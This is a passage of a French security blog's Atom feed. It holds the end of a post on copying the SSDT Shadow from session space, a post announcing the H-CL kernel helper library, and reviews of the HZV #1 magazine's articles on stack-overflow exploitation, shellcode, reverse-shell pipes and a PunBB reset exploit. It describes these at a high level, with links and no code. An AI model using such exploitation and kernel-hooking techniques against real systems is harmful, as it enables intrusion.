bold;"&gt;translation &lt;/span&gt;de l'adresse &lt;span style="font-weight: bold;"&gt;Virtuelle &lt;/span&gt;à l'adresse &lt;span style="font-weight: bold;"&gt;Physique&lt;/span&gt;, étant donné que le driver ne &lt;span style="font-weight: bold;"&gt;voit &lt;/span&gt;pas l'espace en &lt;span style="font-weight: bold;"&gt;question&lt;/span&gt;, l'adresse &lt;span style="font-weight: bold;"&gt;physique &lt;/span&gt;ne peut être récupérer avec &lt;span style="font-weight: bold;"&gt;MmGetPhysicalAddress&lt;/span&gt;() (l'idéal serait de ne pas s'attacher à un processus).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bilan de ce post, un &lt;span style="font-weight: bold;"&gt;peu décevant&lt;/span&gt;, mes &lt;span style="font-weight: bold;"&gt;recherches &lt;/span&gt;ont été &lt;span style="font-weight: bold;"&gt;longues &lt;/span&gt;pour au final pas grand chose..m'enfin bon :].&lt;br /&gt;Sinan, je vous &lt;span style="font-weight: bold;"&gt;recommande &lt;/span&gt;le blog de &lt;span style="font-weight: bold;"&gt;bons amis&lt;/span&gt;, &lt;a href="http://www.fz-corp.net/"&gt;&lt;span style="font-weight: bold;"&gt;Futurezone &lt;/span&gt;&lt;/a&gt;; le &lt;span style="font-weight: bold;"&gt;blog &lt;/span&gt;est &lt;span style="font-weight: bold;"&gt;mis à jour&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;regulierement &lt;/span&gt;avec des articles &lt;span style="font-weight: bold;"&gt;très clean&lt;/span&gt; et tout, c'est que du &lt;span style="font-weight: bold;"&gt;bonheur &lt;/span&gt;quoi.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Voilà pour aujourd'hui :&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/CopyShadowAttach.htm"&gt;CopySSDTShadow.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Je compte aussi sortir une version un peu plus propre de HC-L, en effet j'ai décidé d'embarquer le NDK, de séparer les en-têtes de fonctions des définitions, ajouter des fonctions etc..!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-5088482130714401272?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/5088482130714401272/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=5088482130714401272' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/5088482130714401272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/5088482130714401272'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2009/03/flirt-with-session-space.html' title='Flirt with the session space.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-9187894132371023131</id><published>2008-12-24T09:28:00.000-08:00</published><updated>2008-12-24T12:54:13.243-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='h-cl'/><category scheme='http://www.blogger.com/atom/ns#' term='ring0'/><category scheme='http://www.blogger.com/atom/ns#' term='HCL'/><category scheme='http://www.blogger.com/atom/ns#' term='r0'/><category scheme='http://www.blogger.com/atom/ns#' term='ssdt hook'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='EPROCESS'/><category scheme='http://www.blogger.com/atom/ns#' term='librairie'/><category scheme='http://www.blogger.com/atom/ns#' term='eat ntdll'/><category scheme='http://www.blogger.com/atom/ns#' term='lib'/><title type='text'>H-CL vous souhaite un joyeux noël !</title><content type='html'>Un &lt;span style="font-weight: bold;"&gt;revenant &lt;/span&gt;? Et oui me revoilà back from &lt;span style="font-weight: bold;"&gt;h3ll &lt;/span&gt;après quelques semaines d'&lt;span style="font-weight: bold;"&gt;inactivités&lt;/span&gt;.&lt;br /&gt;Je vais profiter de ce petit article, pour vous racontez mes &lt;span style="font-weight: bold;"&gt;péripéties&lt;/span&gt;. Mais celles-ci ne se déroulent non pas dans les &lt;span style="font-weight: bold;"&gt;contrées rocheuses&lt;/span&gt; avoisinant mon chère &lt;span style="font-weight: bold;"&gt;kernel&lt;/span&gt;, mais belle et bien &lt;span style="font-weight: bold;"&gt;In Real Life&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Il y a quelques semaines de cela, mon &lt;span style="font-weight: bold;"&gt;laptop &lt;/span&gt;a subit une terrible &lt;span style="font-weight: bold;"&gt;perte &lt;/span&gt;; un petit texte pour vous contez ces &lt;span style="font-weight: bold;"&gt;aventures&lt;/span&gt;.&lt;br /&gt;Ma &lt;span style="font-weight: bold;"&gt;maudite &lt;/span&gt;machine plutôt &lt;span style="font-weight: bold;"&gt;jeune &lt;/span&gt;et jusqu'à présent assez &lt;span style="font-weight: bold;"&gt;performante &lt;/span&gt;me laissa tomber : un beau matin en l'allumant, j'entends alors de &lt;span style="font-weight: bold;"&gt;vieux bips systèmes&lt;/span&gt;..après quelques recherches de faite il s'avère que c'est ma &lt;span style="font-weight: bold;"&gt;motherboard &lt;/span&gt;:(.&lt;br /&gt;&lt;br /&gt;Me voilà &lt;span style="font-weight: bold;"&gt;face au gouffre&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;le ciel prêt à s'écraser sur ma tête&lt;/span&gt; : obliger de renvoyer la &lt;span style="font-weight: bold;"&gt;bestiole &lt;/span&gt;au &lt;span style="font-weight: bold;"&gt;sav&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Jusqu'à présent rien de bien grave..&lt;br /&gt;L'&lt;span style="font-weight: bold;"&gt;unique &lt;/span&gt;problème c'est que bien sur je n'ai &lt;span style="font-weight: bold;"&gt;aucun &lt;/span&gt;backup..&lt;span style="font-weight: bold;"&gt;AUCUN &lt;/span&gt;.&lt;br /&gt;Mes &lt;span style="font-weight: bold;"&gt;neurones &lt;/span&gt;en &lt;span style="font-weight: bold;"&gt;ébullition &lt;/span&gt;se rassemblent dans l'espoir de trouver une solution me permettant de sauvegarder mon disque dur..Mais &lt;span style="font-weight: bold;"&gt;rien &lt;/span&gt;! Si je tente toutes &lt;span style="font-weight: bold;"&gt;bidouilles &lt;/span&gt;avec le &lt;span style="font-weight: bold;"&gt;disque dur interne&lt;/span&gt; du laptop, la &lt;span style="font-weight: bold;"&gt;garantie &lt;/span&gt;saute.&lt;br /&gt;&lt;br /&gt;Après un petit coup de fil avec le réparateur, il me propose de sauvegarder un dossier&lt;br /&gt;&lt;br /&gt;"Quel &lt;span style="font-weight: bold;"&gt;dossier &lt;/span&gt;je vous sauvegarde &lt;span style="font-weight: bold;"&gt;monsieur &lt;/span&gt;?"&lt;br /&gt;"Humm, le dossier&lt;span style="font-weight: bold;"&gt; C:\kernel&lt;/span&gt; s'il vous plait !"&lt;br /&gt;"heu..il n'y a pas de dossier &lt;span style="font-weight: bold;"&gt;kernel&lt;/span&gt;"&lt;br /&gt;"le dossier &lt;span style="font-weight: bold;"&gt;k3rn3l &lt;/span&gt;!"&lt;br /&gt;&lt;br /&gt;Encore un technicien ignorant le &lt;span style="font-weight: bold;"&gt;1337 sp34k1ng&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Mais aujourd'hui je reviens, avec des (&lt;span style="font-weight: bold;"&gt;merci hzv &lt;3&lt;/span&gt;) laptops tout propre, &lt;span style="font-weight: bold;"&gt;ready&lt;/span&gt;, avec backup :] (merci &lt;span style="font-weight: bold;"&gt;ivan&lt;/span&gt;:p).&lt;br /&gt;&lt;br /&gt;C'est donc en ce soir de &lt;span style="font-weight: bold;"&gt;nowel, &lt;/span&gt;que je vous propose le début d'un projet qui me tiens plutôt à &lt;span style="font-weight: bold;"&gt;cœur &lt;/span&gt;car à mon avis plus qu'&lt;span style="font-weight: bold;"&gt;utile&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;L'idée n'a rien de &lt;span style="font-weight: bold;"&gt;transcendante&lt;/span&gt;, c'est en fait une espèce de &lt;span style="font-weight: bold;"&gt;librairie&lt;/span&gt;.&lt;br /&gt;Un &lt;span style="font-weight: bold;"&gt;header &lt;/span&gt;contenant quelques fonctions &lt;span style="font-weight: bold;"&gt;useful &lt;/span&gt;quand on aime bien trifouiller son &lt;span style="font-weight: bold;"&gt;kernel&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;L'&lt;span style="font-weight: bold;"&gt;originalité &lt;/span&gt;du projet, je pense, est le fait que tout est réunis dans &lt;span style="font-weight: bold;"&gt;UN &lt;/span&gt;unique fichier : personnellement je trouve que ça simplifie grandement les choses quant à l'utilisation.&lt;br /&gt;&lt;br /&gt;Concernant l'&lt;span style="font-weight: bold;"&gt;avancement &lt;/span&gt;du projet ; c'est encore au stade &lt;span style="font-weight: bold;"&gt;embryonnaire&lt;/span&gt; à peine 5 fonctions pour le moment.&lt;br /&gt;&lt;br /&gt;Disons que, ça &lt;span style="font-weight: bold;"&gt;intéressera &lt;/span&gt;surement quelques &lt;span style="font-weight: bold;"&gt;personnes &lt;/span&gt;: d'ailleurs si certains on des &lt;span style="font-weight: bold;"&gt;reports de bugs&lt;/span&gt;, ou &lt;span style="font-weight: bold;"&gt;autres &lt;/span&gt;n'hésitez pas à me laisser un &lt;span style="font-weight: bold;"&gt;commentaire &lt;/span&gt;; j'aimerais bien faire un truc &lt;span style="font-weight: bold;"&gt;propre &lt;/span&gt;et pourquoi pas utilisé ?&lt;br /&gt;Tant que j'y pense, si vous avez des &lt;span style="font-weight: bold;"&gt;idées &lt;/span&gt;de &lt;span style="font-weight: bold;"&gt;fonctions &lt;/span&gt;à &lt;span style="font-weight: bold;"&gt;implémenter &lt;/span&gt;n'hésitez pas encore une fois à laisser un petit mot ; &lt;span style="font-weight: bold;"&gt;merci &lt;/span&gt;:)).&lt;br /&gt;&lt;br /&gt;Je vais donc bien sur continuer à poster régulièrement maintenant que tout est rentré dans l'ordre !&lt;br /&gt;En attendant je vous laisse avec mon .h en espérant que ça servira à quelques mangeur de chips fan de black-métal ; ça serait un bon début :)).&lt;br /&gt;&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/H-CL/H-CL.htm"&gt;&lt;span style="font-weight: bold;"&gt;H-CL.h&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En tous cas, joyeux noël à vous, passer de bonnes fêtes :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-9187894132371023131?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/9187894132371023131/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=9187894132371023131' title='5 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/9187894132371023131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/9187894132371023131'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/12/h-cl-vous-souhaite-un-joyeux-nol.html' title='H-CL vous souhaite un joyeux noël !'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-4030140250920540567</id><published>2008-11-02T09:21:00.000-08:00</published><updated>2008-11-07T15:43:26.349-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hzv'/><category scheme='http://www.blogger.com/atom/ns#' term='depassement de tampon'/><category scheme='http://www.blogger.com/atom/ns#' term='stack overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='hzv mag'/><category scheme='http://www.blogger.com/atom/ns#' term='exploitation buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='dep bypass'/><title type='text'>#hzv 1 released !</title><content type='html'>&lt;span style="font-weight: bold;"&gt;#Hzv 1&lt;/span&gt; est enfin out !&lt;br /&gt;Après &lt;span style="font-weight: bold;"&gt;plusieurs mois &lt;/span&gt;d'attente, le voici enfin sortit.&lt;br /&gt;J'y ai publié mon plus &lt;span style="font-weight: bold;"&gt;gros &lt;/span&gt;article concernant&lt;span style="font-weight: bold;"&gt; l'exploitation des stacks overflows sous windows&lt;/span&gt;.&lt;br /&gt;Je reprends un des articles publié sur mon blog, en le &lt;span style="font-weight: bold;"&gt;peaufinant&lt;/span&gt;, en ajoutant des illustrations des jolies phrases :D . De tous cela découle bien sur un contenu bien plus &lt;span style="font-weight: bold;"&gt;riche&lt;/span&gt;.&lt;br /&gt;Un article qui m'a pris &lt;span style="font-weight: bold;"&gt;énormément &lt;/span&gt;de temps à écrire enfin bref j'y ai mis du &lt;span style="font-weight: bold;"&gt;coeur &lt;/span&gt;:)).&lt;br /&gt;&lt;br /&gt;Maintenant je vous laisse en compagnie du premier opus : &lt;a href="http://www.hackerzvoice.net/hzv_magz/download_hzv.php?magid=01"&gt;Hzv#1&lt;/a&gt;.&lt;br /&gt;Je remercie donc &lt;span style="font-weight: bold;"&gt;tous le staff &lt;/span&gt;pour leur &lt;span style="font-weight: bold;"&gt;travail &lt;/span&gt;(même si dans le sommaire se sont plantés dans mon pseudo :p).&lt;br /&gt;Je posterais un petit &lt;span style="font-weight: bold;"&gt;feedback &lt;/span&gt;des articles une fois que je les aurais lu :).&lt;br /&gt;Bonne soirée à tous !&lt;br /&gt;&lt;br /&gt;Après demande de certains, je mets à disposition l'archive de mon paper contenant, les illustrations, et les codes ;).&lt;br /&gt;En espérant qu'ils vous plaisent :&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/Archive_ArticleHZV_Par_0vercl0k.rar"&gt;Stack Overflow.rar&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Je vous parlais d'un petit feedback quant aux écrits ; le voici celui-ci à été rédigé conjointement avec &lt;a style="font-weight: bold;" href="http://www.sh4ka.fr/"&gt;sh4ka &lt;/a&gt;:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;1ère article) &lt;span style="font-weight: bold;"&gt;Le codage des données&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;celelibi&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Un article &lt;span style="font-weight: bold;"&gt;clair&lt;/span&gt;, concernant ce qui se cache vraiment derrière toutes nos variables ; car c'est bien jolie de savoir coder en C mais savoir comment est &lt;span style="font-weight: bold;"&gt;codé &lt;/span&gt;notre &lt;span style="font-weight: bold;"&gt;information &lt;/span&gt;peu s'avérer très &lt;span style="font-weight: bold;"&gt;utile &lt;/span&gt;voir &lt;span style="font-weight: bold;"&gt;fondamentale&lt;/span&gt;.&lt;br /&gt;Il explique très bien l'&lt;span style="font-weight: bold;"&gt;abstraction &lt;/span&gt;(par rapport au codage de ces données) que nous fournissent les &lt;span style="font-weight: bold;"&gt;langages de programmation&lt;/span&gt; avec les types de variables par exemple.&lt;br /&gt;Autrement dit qu'un &lt;span style="font-weight: bold;"&gt;long &lt;/span&gt;c'est pareil qu'un &lt;span style="font-weight: bold;"&gt;int &lt;/span&gt;ou qu'un &lt;span style="font-weight: bold;"&gt;DWORD &lt;/span&gt;: c'est &lt;span style="font-weight: bold;"&gt;4 octets&lt;/span&gt; d'informations !&lt;br /&gt;Je le recommande donc à ceux qui ne s'y sont jamais intéressé.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;2ème article) &lt;span style="font-weight: bold;"&gt;Exploitation avancée de débordement de tampon&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;camille bertrand&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Cette article plutôt technique va nous parler de &lt;span style="font-weight: bold;"&gt;débordement de tampon&lt;/span&gt; ; mais aussi de &lt;span style="font-weight: bold;"&gt;shellcodes&lt;/span&gt;.&lt;br /&gt;En effet, j'ai l'impression que l'auteur se &lt;span style="font-weight: bold;"&gt;centre &lt;/span&gt;plus sur l'élaboration de &lt;span style="font-weight: bold;"&gt;shellcode générique&lt;/span&gt; / &lt;span style="font-weight: bold;"&gt;polymorphisme &lt;/span&gt;que sur l'exploitation &lt;span style="font-weight: bold;"&gt;avancée &lt;/span&gt;de la faille.&lt;br /&gt;Il nous explique clairement les étapes essentiels à l'élaboration d'un shellcode capable de se débrouiller &lt;span style="font-weight: bold;"&gt;seul &lt;/span&gt;(dit générique) dans un environnement windows.&lt;br /&gt;Les codes sont clair ; très commentés ; bien illustrés..il nous propose même un petit exercice d'application en fin d'article.&lt;br /&gt;Conclusion l'article est très didactique, un bon papier.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;3ème article) &lt;span style="font-weight: bold;"&gt;Redirection de flux en C sous windows&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;Cocowebman&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Encore un article pour &lt;span style="font-weight: bold;"&gt;windows &lt;/span&gt;(décidément :)), il illustre un type de communication &lt;span style="font-weight: bold;"&gt;inter processus&lt;/span&gt; : les &lt;span style="font-weight: bold;"&gt;pipes (prononcé à l'anglaise)&lt;/span&gt;.&lt;br /&gt;Il &lt;span style="font-weight: bold;"&gt;redirige &lt;/span&gt;les &lt;span style="font-weight: bold;"&gt;sorties standard&lt;/span&gt; dans le &lt;span style="font-weight: bold;"&gt;tuyau &lt;/span&gt;dans lequel il va &lt;span style="font-weight: bold;"&gt;lire &lt;/span&gt;par exemple ; très utile dans un &lt;span style="font-weight: bold;"&gt;bind/reverse shell&lt;/span&gt; par exemple.&lt;br /&gt;L'article est encore une fois &lt;span style="font-weight: bold;"&gt;agréable &lt;/span&gt;à lire ; des illustrations ; c'est &lt;span style="font-weight: bold;"&gt;mimi &lt;/span&gt;en tout cas.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;4ème article) &lt;span style="font-weight: bold;"&gt;La toile à nue face au renard&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;FaSm et SnAkE&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.2  (Win32)"&gt;&lt;meta name="AUTHOR" content="André Moulu"&gt;&lt;meta name="CREATED" content="20081107;22553700"&gt;&lt;meta name="CHANGEDBY" content="André Moulu"&gt;&lt;meta name="CHANGED" content="20081108;204200"&gt;&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 21cm 29.7cm; margin: 2cm } 		P { margin-bottom: 0.21cm } 	--&gt; 	&lt;/style&gt; &lt;p style="margin-bottom: 0cm;"&gt;Un article &lt;span style="font-weight: bold;"&gt;décevant&lt;/span&gt;, le contenu est plutôt très &lt;span style="font-weight: bold;"&gt;classique &lt;/span&gt;et donc n'apprenant pas grand chose au lecteur.&lt;/p&gt; &lt;ul&gt;&lt;li&gt;5ème article) &lt;span style="font-weight: bold;"&gt;Nintendo DS Le wifi Ultra Portable&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;Virtualabs&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Alors cette article c'est vraiment &lt;span style="font-weight: bold;"&gt;mon coup de cœur&lt;/span&gt; ; moi qui attendait une espèce de &lt;span style="font-weight: bold;"&gt;compte rendu&lt;/span&gt; de sa conférence à la &lt;span style="font-weight: bold;"&gt;nuit du hack &lt;/span&gt;..et bien me voilà &lt;span style="font-weight: bold;"&gt;gâter&lt;/span&gt;.&lt;br /&gt;Une &lt;span style="font-weight: bold;"&gt;superbe &lt;/span&gt;aventure en fait ; il nous explique un peu son &lt;span style="font-weight: bold;"&gt;cheminement, &lt;/span&gt;ces &lt;span style="font-weight: bold;"&gt;objectifs&lt;/span&gt;, ce qu'il a réussit à faire (&lt;span style="font-weight: bold;"&gt;impressionnant &lt;/span&gt;:o) enfin j'en dévoile pas plus lisez le ! merci &lt;span style="font-weight: bold;"&gt;virtualabs&lt;/span&gt;.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;6ème article) &lt;span style="font-weight: bold;"&gt;Attaque d'un serveur, Prise d'empreinte&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;Floux&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.2  (Win32)"&gt;&lt;meta name="AUTHOR" content="André Moulu"&gt;&lt;meta name="CREATED" content="20081107;22553700"&gt;&lt;meta name="CHANGEDBY" content="André Moulu"&gt;&lt;meta name="CHANGED" content="20081108;204200"&gt;&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 21cm 29.7cm; margin: 2cm } 		P { margin-bottom: 0.21cm } 	--&gt; 	&lt;/style&gt; &lt;p style="margin-bottom: 0cm;"&gt;Article de &lt;span style="font-weight: bold;"&gt;Floux &lt;/span&gt;présentant l'étape &lt;span style="font-weight: bold;"&gt;préliminaire &lt;/span&gt;à un audit,et non des moindres, la prise d'empreinte. L'article survole (peut être un peu trop) les principes &lt;span style="font-weight: bold;"&gt;classique &lt;/span&gt;de ce domaine, sans trop entrer dans les détails(&lt;span style="font-weight: bold;"&gt;Whois&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt;traceroute&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt;dns&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt;transfert de zone&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt;scan de port&lt;/span&gt;,..).Un article plus &lt;span style="font-weight: bold;"&gt;poussé &lt;/span&gt;sur le sujet aurait été &lt;span style="font-weight: bold;"&gt;apprécié&lt;/span&gt;.  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;PS:"La prise d’empreinte (ou pentest pour les intimes ;))"  &lt;/p&gt; &lt;p style="margin-bottom: 0cm; font-weight: bold;"&gt;Prise d'empreinte=Fingerprinting pas pentesting&lt;/p&gt; &lt;ul&gt;&lt;li&gt;7ème article) &lt;span style="font-weight: bold;"&gt;Démystification d'exploits visant des applications web&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;Apophis&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.2  (Win32)"&gt;&lt;meta name="AUTHOR" content="André Moulu"&gt;&lt;meta name="CREATED" content="20081107;22553700"&gt;&lt;meta name="CHANGEDBY" content="André Moulu"&gt;&lt;meta name="CHANGED" content="20081108;204200"&gt;&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 21cm 29.7cm; margin: 2cm } 		P { margin-bottom: 0.21cm } 	--&gt; 	&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;Derrière ce titre se cache l'explication d'&lt;span style="font-weight: bold;"&gt;apophis, &lt;/span&gt;concernant une &lt;span style="font-weight: bold;"&gt;vulnérabilité &lt;/span&gt;touchant &lt;span style="font-weight: bold;"&gt;punbb&lt;/span&gt; au travers de la &lt;span style="font-weight: bold;"&gt;récupération &lt;/span&gt;du "&lt;span style="font-weight: bold;"&gt;cookie_seed&lt;/span&gt;" ; afin de calculer le &lt;span style="font-weight: bold;"&gt;mot de passe aléatoire&lt;/span&gt; ainsi que le lien d'activation généré par &lt;span style="font-weight: bold;"&gt;punbb &lt;/span&gt;lors de la &lt;span style="font-weight: bold;"&gt;réinitialisation &lt;/span&gt;d'un compte (suite à l'utilisation de l'option "&lt;span style="font-weight: bold;"&gt;mot de passe oublié&lt;/span&gt;").Par l'&lt;span style="font-weight: bold;"&gt;étude &lt;/span&gt;de cette faille et la &lt;span style="font-weight: bold;"&gt;programmation &lt;/span&gt;de l'exploit, l'auteur nous montre les &lt;span style="font-weight: bold;"&gt;vulnérabilités &lt;/span&gt;touchant au web sous une autre forme que les classiques injections &lt;span style="font-weight: bold;"&gt;sql,xss,include&lt;/span&gt; et cie.&lt;/p&gt; &lt;ul&gt;&lt;li&gt;8ème article) &lt;span style="font-weight: bold;"&gt;Les réseaux de robots, action et prevention&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;Valéry RASPLUS&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.2  (Win32)"&gt;&lt;meta name="AUTHOR" content="André Moulu"&gt;&lt;meta name="CREATED" content="20081107;22553700"&gt;&lt;meta name="CHANGEDBY" content="André Moulu"&gt;&lt;meta name="CHANGED" content="20081108;204200"&gt;&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 21cm 29.7cm; margin: 2cm } 		P { margin-bottom: 0.21cm } 	--&gt; 	&lt;/style&gt; &lt;p style="margin-bottom: 0cm;"&gt;Il s'agit d'un article survolant le &lt;span style="font-weight: bold;"&gt;monde &lt;/span&gt;des &lt;span style="font-weight: bold;"&gt;botnets&lt;/span&gt;, expliquant leurs &lt;span style="font-weight: bold;"&gt;principes&lt;/span&gt;, leurs &lt;span style="font-weight: bold;"&gt;méthodes&lt;/span&gt;, leurs &lt;span style="font-weight: bold;"&gt;buts &lt;/span&gt;et proposant aussi des pistes pour s'en protéger. L'auteur sans rentrer dans la partie &lt;span style="font-weight: bold;"&gt;technique&lt;/span&gt;, permet d'expliquer de façon simple et donc de &lt;span style="font-weight: bold;"&gt;sensibiliser &lt;/span&gt;l'utilisateur sur les &lt;span style="font-weight: bold;"&gt;dangers &lt;/span&gt;que peuvent apporter les &lt;span style="font-weight: bold;"&gt;botnets&lt;/span&gt;.&lt;/p&gt; &lt;ul&gt;&lt;li&gt;9ème article) &lt;style type="text/css"&gt;e { size: 21cm 29.7cm; margin: 2cm } 		P { margin-bottom: 0.21cm } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;"&gt;La stéganographie de interger binary numbers &lt;/span&gt;par &lt;span style="font-weight: bold;"&gt;Thierry Crettol.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.2  (Win32)"&gt;&lt;meta name="AUTHOR" content="André Moulu"&gt;&lt;meta name="CREATED" content="20081107;22553700"&gt;&lt;meta name="CHANGEDBY" content="André Moulu"&gt;&lt;meta name="CHANGED" content="20081108;204200"&gt;&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 21cm 29.7cm; margin: 2cm } 		P { margin-bottom: 0.21cm } 	--&gt; 	&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;Un article qui je dois dire me laisse &lt;span style="font-weight: bold;"&gt;perplexe&lt;/span&gt;, l'auteur utilise un &lt;span style="font-weight: bold;"&gt;vocabulaire &lt;/span&gt;« &lt;span style="font-weight: bold;"&gt;spéciale &lt;/span&gt;». Je cite: « &lt;span style="font-weight: bold;"&gt;les 54 premiers caractères sont réservés pour le cartouche de l'image bmp&lt;/span&gt; », ici cartouche signifie &lt;span style="font-weight: bold;"&gt;header&lt;/span&gt;? Ensuite d'après ce que j'ai pu comprendre, il s'agit en fait de &lt;span style="font-weight: bold;"&gt;steganographie &lt;/span&gt;utilisant la &lt;span style="font-weight: bold;"&gt;technique des LSB&lt;/span&gt; dans les&lt;span style="font-weight: bold;"&gt; images bmp&lt;/span&gt;. Malgré que ce sujet soit &lt;span style="font-weight: bold;"&gt;intéressant&lt;/span&gt;, ici le &lt;span style="font-weight: bold;"&gt;manque &lt;/span&gt;de &lt;span style="font-weight: bold;"&gt;clarté &lt;/span&gt;de l'explication et surtout d'exemple par la mise en place du procédé par la programmation, &lt;span style="font-weight: bold;"&gt;gâche &lt;/span&gt;un peu l'article.&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;Voilà, conclusion le &lt;span style="font-weight: bold;"&gt;mag &lt;/span&gt;reste &lt;span style="font-weight: bold;"&gt;intéressant  &lt;/span&gt;malgré 2/3 &lt;span style="font-weight: bold;"&gt;bémols&lt;/span&gt; comme la qualités des images etc.&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;Bonne lecture, et espérons que ces bémols seront corrigés dans le prochain !&lt;br /&gt;&lt;/p&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-4030140250920540567?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/4030140250920540567/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=4030140250920540567' title='8 commentaires'/><link 